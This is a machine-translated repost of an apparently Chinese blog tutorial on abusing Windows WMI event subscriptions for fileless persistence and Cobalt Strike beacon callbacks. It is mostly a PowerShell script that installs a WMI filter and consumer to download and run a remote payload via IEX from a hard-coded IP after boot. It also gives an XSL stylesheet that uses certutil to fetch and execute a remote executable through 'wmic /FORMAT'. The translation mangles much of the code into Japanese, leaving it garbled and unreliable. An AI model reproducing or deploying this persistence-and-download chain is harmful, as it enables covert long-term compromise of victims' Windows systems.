-wmiイベントを維持するための権限

 0x01の序文

WMICは、WMI(Windows管理インストルメンテーション、Windowsの管理ツール)を拡張し、システム管理を実行するためのコマンドライン・インタフェースとバッチコマンドスクリプトのサポートを提供します。

2015年にマット・Graeberのブラックハット総会は非WMIファイルは、バックドアを使用することですについて説明します。

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor- wp.​​pdf

WMIは、Windowsシステムを管理するためのメソッドや関数の集合として記述することができます。私たちは、Windowsのシステムで相互に通信するためのAPIとしてそれを取ることがあります。侵入テストのWMI値は、WMIはWindowsのシステムが機能が付属しているので、それは、ダウンロードしてインストールする必要はないということです。そして、全体的な動作は、痕跡を残さずに、コンピュータのメモリで行われます。

 

0x02のWMI一般的な使用

情報検索システム

インストールされたソフトウェア検索システム

WMIC製品リストブリーフ|より

 

検索システムの運用サービス

WMICサービス一覧ブリーフ|より

 

 

検索ランチャー

より|簡単なWMICスタートアップリスト

 

検索コンピュータのドメインコントローラ

WMIC NTDOMAINリストブリーフ

 

ビーコン線CSの使用に達し0x03のWMIイベント

以下は、場所を変更する必要があり、それは大胆なリモートペイロードアドレスである三つの機能が指定されたイベントWMIに挿入され、非常にシンプルで、WMIが指定したイベントを削除するコードに、WMI-Persistence.ps1スクリプトで、その後、WMIイベントを照会します

もちろん、あなたも、あなたがしたいイベントの名前を変更することができますが、ないうち一見、そんなに文句を言うためにも、あまり変わりません

 

#の
 
機能 Install- 永続{ 


$ペイロード = " <strong>の((新しいオブジェクトnet.webclient).downloadstring( 'http://192.168.3.68:80/logo.gif'))</ strong>の" 
$ EventFilterName = 'クリーンアップ'
 $ EventConsumerName = 'DataCleanup'
 $ finalPayloadは = " <強い>たpowershell.exe -nop -c`" IEX $ Payload` "</ strong>の" 
 
イベントフィルタを作成します
$ EventFilterArgs = @ { 
    EventNamespace =「ルート/ CIMV2 "
    名前 = $ EventFilterName 
    クエリ = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstanceのISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime> = 240とTargetInstance.SystemUpTime <325 
    QUERYLANGUAGE = 'WQL' 
} 
 
$フィルター =セットWmiInstance -namespaceルート/サブスクリプション-Class __EventFilter -Arguments $ EventFilterArgs 
 
作成CommandLineEventConsumer 
$ CommandLineConsumerArgs = @ { 
    名前 = $ EventConsumerName 
    CommandLineTemplate = $ finalPayload 
} 
$の消費者 =セットWmiInstance -namespaceルート/サブスクリプション-Class CommandLineEventConsumer -Arguments$ CommandLineConsumerArgsの
 
作成FilterToConsumerBinding 
$ FilterToConsumerArgs = @ {
     フィルター = $フィルタの
    消費者 = $コンシューマー
} 
$ FilterToConsumerBinding = -namespaceルート/サブスクリプション・WmiInstanceを設定-Class __FilterToConsumerBinding -Arguments $ FilterToConsumerArgs 
 
イベントフィルタを作成したの確認
$ EventCheck =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class __EventFilter - フィルター " 名= '$ EventFilterName' " 
場合$ EventCheck  -ne  $ nullの){ 
    書きます-host " イベントフィルタの$ EventFilterNameが正常にホストするために書かれた" 
} 
 
#はイベント消費者が作成されたの確認
$ ConsumerCheck - =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class CommandLineEventConsumer フィルター " 名= '$ EventConsumerName' " 
もし$ ConsumerCheckの -ne  $ヌル){ 
    書く -Hostを" イベントコンシューマー$ EventConsumerNameが正常にホストするために書かれた" 
} 
 
#はFiltertoConsumerが作成された確認してください
$ BindingCheck =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class __FilterToConsumerBinding -フィルター " フィルター= "" __eventfilter.name = '$ EventFilterName' " "" 
もし$ BindingCheck  -ne  $ nullを{)
    書く -Hostを" 消費者にフィルターに成功ホストするために書かれたバインディング" 
} 
} 

機能削除し、永続{ $ EventFilterName = 'クリーンアップ' $ EventConsumerName = 'DataCleanup'


のコードをクリーンアップ-あなたが永続性をインストールしている場合は、このコードをコメントアウトそれ以外の場合になります
 
$ EventConsumerToCleanup =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class CommandLineEventConsumer - フィルター $ FilterConsumerBindingToCleanup | Remove- WmiObjectコマンド
 $ EventConsumerToCleanup | Remove- WmiObjectコマンド
 $ EventFilterToCleanup | Remove- WmiObjectコマンド
} 機能チェックWMI {-ホストを書きます"
 

 


すべてのルートのイベントを表示するとフィルタ -は、Get-WmiObjectコマンド-namespaceルート/サブスクリプションクラス__EventFilterを


書く -HostをすべてのCommandLineイベント消費者を示す
取得 -WmiObject -namespaceルート/サブスクリプション- クラスCommandLineEventConsumerを
 
書く -Hostを消費者バインディングへのすべてのフィルターを表示
取得 -WmiObject -namespaceルート/サブスクリプション- クラス__FilterToConsumerBinding 
}

 

そして、通常の挿入が成功すると、ターゲットが再びシステム管理者[管理者]通常のログインを再起動したときに、システムが私たちのペイロードにバックグラウンドポーリングイベントのときに[しばらく待たなければならないことがあり2016]の瞬間を待ってイベントを挿入し始めました、実行をトリガされます

PS>インポート、モジュール。\ WMI- Persistence.ps1 

PS > Install- 永続

PS >チェックインWMI

 

 

その後、ビーコンシステム権限が正常にバウンス

ライン上の0x04のカスタムフィットのcertutilに達します

 

また、WMIのリモートロードを使用することができます

wmi.xsl機能は、これらのcertutilをダウンロードする人という非常に明確です

<?xml version=``'1.0'``?>

<stylesheet

xmlns=``"http://www.w3.org/1999/XSL/Transform" xmlns:ms=``"urn:schemas-microsoft-com:xslt"

xmlns:user=``"placeholder"

version=``"1.0"``>

<output method=``"text"``/>

``<ms:script implements-prefix=``"user" language=``"JScript"``>

``<![CDATA[

``var r = ``new ActiveXObject(``"WScript.Shell"``).Run(``"cmd.exe /c certutil -urlcache -split -f <strong>http://*/load.jpg</strong> %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://*/load.jpg delete"``,0);

``]]> </ms:script>

</stylesheet>

 

 

修改WMI-Persistence.ps1 脚本,只需把payload部分换下就行,别的不需要动  

 wmic os get /FORMAT:"http://192.168.3.68:80/wmi.xsl"

 

 

powershell -exec bypass

PS > Import-Module .\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

PS > Remove-Persistence 用完以后务必要记得随手删掉

 

 

 

也可以达到自定义上线的目的。

 

おすすめ

転載: www.cnblogs.com/-qing-/p/10964486.html